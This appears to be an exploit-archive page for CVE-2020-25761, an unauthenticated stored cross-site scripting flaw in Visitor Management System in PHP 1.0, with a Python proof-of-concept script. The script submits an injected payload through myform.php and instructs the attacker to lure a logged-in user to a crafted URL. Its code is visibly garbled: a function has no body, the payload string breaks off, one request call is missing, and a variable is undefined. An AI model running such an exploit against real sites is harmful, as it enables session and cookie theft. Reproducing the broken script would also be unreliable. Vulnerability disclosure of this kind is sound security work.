Visitor Management System In PHP 1.0 Cross Site Scripting

Visitor Management System in PHP version 1.0 suffers from an unauthenticated persistent cross site scripting vulnerability.

MD5 | d64c37a536ecac0b5d3e1dac3dbcaa45

# Title: Visitor Management System in PHP 1.0 - Unauthenticated Stored XSS
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: CVE-2020-25761
# Description: The file myform.php does not perform input validation on the
request parameters. An attacker can inject javascript payloads in the
parameters to perform various attacks such as stealing of cookies,sensitive
information etc.

import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
import random
import string

def print_usage(STRING):

if __name__ == "__main__":
if len(sys.argv) != 2:
print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
print print_usage("Example:\t python %s ''" % sys.argv[0])
SERVER_URL = sys.argv[1]
XSS_DIR = '/myform.php'
XSS_PoC_URL = SERVER_URL + '/front.php'

s = requests.Session()
s.get(SERVER_URL, verify=False)
payload = {'name': 'd3crypt','cno':'9876543210','purpose':'stored
r1 =, data=payload, verify=False)
r2 = s.get(XSS_PoC_URL, allow_redirects=False, verify=False)
response_page = r2.content.decode("utf-8")
parser = etree.HTMLParser()
tree = etree.parse(StringIO(response_page), parser=parser)
def get_links(tree):
refs = tree.xpath("//a")
links = [link.get('data-content', '') for link in refs]
return [l for l in links]

visitors = get_links(tree)

for visitor in visitors:
if 'stored xss' in visitor:
print print_usage('Make the logged-in user click this URL: ' +
XSS_PoC_URL + '?rid=' + rid)

Related Posts